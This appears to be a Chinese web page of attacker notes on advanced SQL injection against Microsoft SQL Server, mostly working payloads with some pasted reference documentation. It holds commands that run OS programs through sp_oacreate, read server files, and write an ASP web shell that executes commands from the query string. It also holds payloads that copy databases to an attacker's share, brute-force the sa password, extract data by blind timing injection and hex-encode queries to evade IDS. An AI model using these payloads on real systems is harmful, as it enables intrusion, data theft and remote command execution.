Mssql高级注入笔记II |
|
本文标签：Mssql高级注入笔记II 一些sql扩展 xp_regaddmultistring xp_regdeletekey 删除键名 xp_regdeletevalue 删除键值 xp_regenumkeys 枚举 xp_regenumvalues xp_regread 对于 xp_regremovemultistring xp_regwrite 写 xp_availablemedia 查看驱动器 xp_dirtree 看目录 xp_enumdsn ODBC数据源 xp_loginconfig 一些服务器安全配置的信息 xp_makecab 打包，某些dbo权限先可做大用 xp_ntsec_enumdomains 枚举域名相关信息 xp_terminate_process 终端进程和ip啦 xp_logininfo 当前登录帐号 sp_configure 检索数据库中的内容（我觉得这个挺有用的） sp_helpextendedproc 得到所有的存储扩展 sp_who2 查询用户，他们登录的主机，他们在数据库中执行的操作等等 一些网络信息 exec xp_regread HKEY_LOCAL_MACHINE, SYSTEM\CurrentControlSet\Services\lanmanserver\parameters, nullsessionshares SNMP辅助网络踩点 exec xp_regenumvalues HKEY_LOCAL_MACHINE, SYSTEM\CurrentControlSet\Services\snmp\parameters\validcomm unities 开始一些系统服务,比如telnet，前提希望可以跑来admin或者一些系统密码 exec master..xp_servicecontrol start, schedule exec master..xp_servicecontrol start, server Sp_addextendedproc xp_webserver,c:\temp\xp_foo.dll 此扩展可以运行程序 使用bulk insert语法可以将一个文本文件插入到一个临时表中 。简单地创建这个表： create table foo( line varchar(8000) ) 然后执行bulk insert操作把文件中的数据插入到表中，如： bulk insert foo from c:\inetpub\wwwroot\admin\inc.asp bcp "select * from text..foo" queryout c:\inetpub\wwwroot\runcommand.asp –c -Slocalhost –Usa –Pfoobar S参数为执行查询的服务器，U参数为用户名，P参数为密码，这里为foobar SQL SERVER中提供了几个内置的允许创建ActiveX自动执行脚本的存储过程 。这些脚本和运行在windows脚本解释器下的脚本，或者ASP脚本程序一样——他们使用VBScript或JavaScript书写，他们创建自动执行对象并和它们交互 。一个自动执行脚本使用这种方法书写可以在Transact-SQL中做任何在ASP脚本中，或者WSH脚本中可以做的任何事情 使用wscript.shell对象建立了一个记事本的实例： declare @o int exec sp_oacreate wscript.shell,@o out exec sp_oamethod @o,run,NULL,notepad.exe 指定在用户名后面来执行它： Username：; declare @o int exec sp_oacreate wscript.shell,@o out exec sp_oamethod @o,run,NULL,notepad.exe— 使用FSO读一个已知的文本文件： declare @o int, @f int, @t int, @ret int declare @line varchar(8000) exec sp_oacreate scripting.filesystemobject, @o out exec sp_oamethod @o, opentextfile, @f out, c:\boot.ini, 1 exec @ret = sp_oamethod @f, readline, @line out while( @ret = 0 ) begin print @line exec @ret = sp_oamethod @f, readline, @line out end 创建了一个能执行通过提交的命令，默认是asp那组权限的用户下运行，前提是sp_oacreate扩展存在 declare @o int, @f int, @t int, @ret int exec sp_oacreate scripting.filesystemobject, @o out exec sp_oamethod @o, createtextfile, @f out, c:\inetpub\wwwroot\foo.asp, 1 exec @ret = sp_oamethod @f, writeline, NULL, <% set o = server.createobject("wscript.shell"): o.run( request.querystring("cmd") ) %> sp_who 1 select * from sysobjects 针对局域网渗透,备份拖库或者非sa用户 declare @a sysname;set @a=db_name();backup database @a to disk=你的IP你的共享目录bak.dat ,name=test;-- 当前数据库就备份到你的硬盘上了 select * from openrowset(sqloledb,myserver;sa;,select * from table) 回连，默认需要支持多语句查询 添加登录，使其成为固定服务器角色的成员 。 语法 sp_addsrvrolemember [ @loginame = ] login [@rolename =] role 参数 [@loginame =] login 是添加到固定服务器角色的登录名称 。login 的数据类型为 sysname，没有默认值 。login 可以是 Microsoft? SQL Server? 登录或 Microsoft Windows NT? 用户帐户 。如果还没有对该 Windows NT 登录授予 SQL Server 访问权限，那么将自动对其授予访问权限 。 [@rolename =] role 要将登录添加到的固定服务器角色的名称 。role 的数据类型为 sysname，默认值为 NULL，它必须是下列值之一： sysadmin securityadmin serveradmin setupadmin processadmin diskadmin dbcreator bulkadmin 返回代码值 0（成功）或 1（失败） 注释 在将登录添加到固定服务器角色时，该登录就会得到与此固定服务器角色相关的权限 。 不能更改 sa 登录的角色成员资格 。 请使用 sp_addrolemember 将成员添加到固定数据库角色或用户定义的角色 。 不能在用户定义的事务内执行 sp_addsrvrolemember 存储过程 。 权限 sysadmin 固定服务器的成员可以将成员添加到任何固定服务器角色 。固定服务器角色的成员可以执行 sp_addsrvrolemember 将成员只添加到同一个固定服务器角色 。 示例 下面的示例将 Windows NT 用户 Corporate\HelenS 添加到 sysadmin 固定服务器角色中 。 EXEC sp_addsrvrolemember Corporate\HelenS, sysadmin OPENDATASOURCE 不使用链接的服务器名，而提供特殊的连接信息，并将其作为四部分对象名的一部分 。 语法 OPENDATASOURCE ( provider_name, init_string ) 参数 provider_name 注册为用于访问数据源的 OLE DB 提供程序的 PROGID 的名称 。provider_name 的数据类型为 char，没有默认值 。 init_string 连接字符串，这些字符串将要传递给目标提供程序的 IDataInitialize 接口 。提供程序字符串语法是以关键字值对为基础的，这些关键字值对由分号隔开，例如："keyword1=value; keyword2=value." 在 Microsoft? Data Access SDK 中定义了基本语法 。有关所支持的特定关键字值对的信息，请参见提供程序中的文档 。下表列出 init_string 参数中最常用的关键字 。 关键字 OLE DB 属性 有效值和描述 数据源 DBPROP_INIT_DATASOURCE 要连接的数据源的名称 。不同的提供程序用不同的方法对此进行解释 。对于 SQL Server OLE DB 提供程序来说，这会指明服务器的名称 。对于 Jet OLE DB 提供程序来说，这会指明 .mdb 文件或 .xls 文件的完整路径 。 位置 DBPROP_INIT_LOCATION 要连接的数据库的位置 。 扩展属性 DBPROP_INIT_PROVIDERSTRING 提供程序特定的连接字符串 。 连接超时 DBPROP_INIT_TIMEOUT 超时值，在该超时值后，连接尝试将失败 。 用户 ID DBPROP_AUTH_USERID 用于该连接的用户 ID 。 密码 DBPROP_AUTH_PASSWORD 用于该连接的密码 。 目录 DBPROP_INIT_CATALOG 连接到数据源时的初始或默认的目录名称 。 OPENDATASOURCE 函数可以在能够使用链接服务器名的相同 Transact-SQL 语法位置中使用 。因此，就可以将 OPENDATASOURCE 用作四部分名称的第一部分，该名称指的是 SELECT、INSERT、UPDATE 或 DELETE 语句中的表或视图的名称；或者指的是 EXECUTE 语句中的远程存储过程 。当执行远程存储过程时，OPENDATASOURCE 应该指的是另一个 SQL Server 。OPENDATASOURCE 不接受参数变量 。 与 OPENROWSET 函数类似，OPENDATASOURCE 应该只引用那些不经常访问的 OLE DB 数据源 。对于访问次数稍多的任何数据源，请为它们定义链接的服务器 。无论 OPENDATASOURCE 还是 OPENROWSET 都不能提供链接的服务器定义的全部功能，例如，安全管理以及查询目录信息的能力 。每次调用 OPENDATASOURCE 时，都必须提供所有的连接信息（包括密码） 。 示例 下面的示例访问来自某个表的数据，该表在 SQL Server 的另一个实例中 。 SELECT * FROM OPENDATASOURCE( SQLOLEDB, Data Source=ServerName;User ID=MyUID;Password=MyPass ).Northwind.dbo.Categories 下面是个查询的示例，它通过用于 Jet 的 OLE DB 提供程序查询 Excel 电子表格 。 SELECT * FROM OpenDataSource( Microsoft.Jet.OLEDB.4.0, Data Source="c:\Finance\account.xls";User ID=Admin;Password=;Extended properties=Excel 5.0)...xactions 针对MSDASQL 用存储过程建立的sql连接，在blackbox测试中，好象没什么注入区别 declare @username nvarchar(4000), @query nvarchar(4000) declare @pwd nvarchar(4000), @char_set nvarchar(4000) declare @pwd_len int, @i int, @c char select @char_set = Nabcdefghijklmnopqrstuvwxyz0123456789!_ select @pwd_len = 8 select @username = sa while @i < @pwd_len begin -- make pwd (code deleted) -- try a login select @query = Nselect * from OPENROWSET(MSDASQL,DRIVER={SQL Server};SERVER=;uid= + @username + N;pwd= + @pwd + N,select @@version) exec xp_execresultset @query, Nmaster --check for success (code deleted) -- increment the password (code deleted) end 盲注技巧之一，时间延缓（可以加一个循环函数，运行查询时间越久说说明当前字段正确） if (select user) = sa waitfor delay 0:0:5 if exists (select * from pubs..pub_info) waitfor delay 0:0:5 create table pubs..tmp_file (is_file int, is_dir int, has_parent int) insert into pubs..tmp_file exec master..xp_fileexist c:\boot.ini if exists (select * from pubs..tmp_file) waitfor delay 0:0:5 if (select is_file from pubs..tmp_file) > 0 waitfor delay 0:0:5 字符对比 if (ascii(substring(@s, @byte, 1)) & ( power(2, @bit))) > 0 waitfor delay 0:0:5 declare @s varchar(8000) select @s = db_name() if (ascii(substring(@s, 1, 1)) & ( power(2, 0))) > 0 waitfor delay 0:0:5 declare @s varchar(8000) select @s = db_name() if (ascii(substring(@s, 1, 1)) & ( power(2, 1))) > 0 waitfor delay 0:0:5 编码的秘密，饶过IDS declare @q varchar(8000) select @q = 0x73656c65637420404076657273696f6e exec(@q) This runs select @@version, as does: declare @q nvarchar(4000) select @q = 0x730065006c00650063007400200040004000760065007200730069006f006e00 exec(@q) In the stored procedure example above we saw how a sysname parameter can contain multiple SQL statements without the use of single quotes or semicolons: sp_msdropretry [foo drop table logs select * from sysobjects], [bar] 嘻嘻，不知道这次被转走以后会不会看到偶的名字呢？'要有的话，就把高级注入笔记I也发出来 |
